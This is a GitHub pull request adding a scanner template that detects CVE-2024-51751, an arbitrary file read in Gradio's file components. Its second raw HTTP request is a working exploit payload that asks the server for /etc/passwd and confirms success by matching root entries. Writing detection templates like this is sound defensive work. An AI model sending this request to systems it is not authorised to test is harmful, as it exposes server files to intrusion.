Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create CVE-2024-51751 #11439

Open
wants to merge 2 commits into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
78 changes: 78 additions & 0 deletions code/cves/2024/CVE-2024-51751.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
id: CVE-2024-51751

info:
name: Gradio File Component Arbitrary File Read
author: KoYejune0302, gy741
severity: medium
description: |
If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2024-51751
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-51751
- https://github.com/gradio-app/gradio/security/advisories/GHSA-rhm9-gp5p-5248
tags: cve, cve2024, gradio, file-read

http:
# Pre-condition check: Ensure the server returns {"error":null} for a valid request
- raw:
- |
POST /gradio_api/run/predict HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Content-Length: 245

{
"data": [
{
"path": "/tmp/safe_file.txt",
"orig_name": "safe_file.txt",
"size": 4,
"mime_type": "text/plain",
"meta": {
"_type": "gradio.FileData"
}
}
],
"event_data": null,
"fn_index": 0,
"trigger_id": 8,
"session_hash": "mnv42s5gt7"
}

matchers:
- type: word
words:
- '{"error":null}'
part: body

# Vulnerability check: Attempt to read /etc/passwd without the meta field
- raw:
- |
POST /gradio_api/run/predict HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Content-Length: 215

{
"data": [
{
"path": "/etc/passwd",
"orig_name": "test.txt",
"size": 4,
"mime_type": "text/plain"
}
],
"event_data": null,
"fn_index": 0,
"trigger_id": 8,
"session_hash": "mnv42s5gt7"
}

matchers:
- type: regex
regex:
- 'root:.*:0:0:'
part: body
Loading